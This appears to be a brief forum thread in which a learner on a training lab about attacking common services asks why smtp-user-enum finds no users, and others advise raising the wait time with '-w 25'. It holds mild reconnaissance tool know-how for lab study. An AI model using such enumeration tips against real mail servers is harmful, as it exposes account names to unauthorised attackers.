Guys i'm having trouble in the Attacking Common Services - Easy lab, i could not find any users using smtp-user-enum using the provided user list, i have tried all other vectors with no luck, any idea what to do?

[brittle crest]

@next bronze thanks, I was able to get it.

[fathom pendant]

That shouldn't change anything

[fathom pendant]

You need to increase the wait time

20-25 seconds generally works

[sharp bluff]

Lovely, thanks a lot. so by adding -w 25

[fathom pendant]

It's a slow service so yeah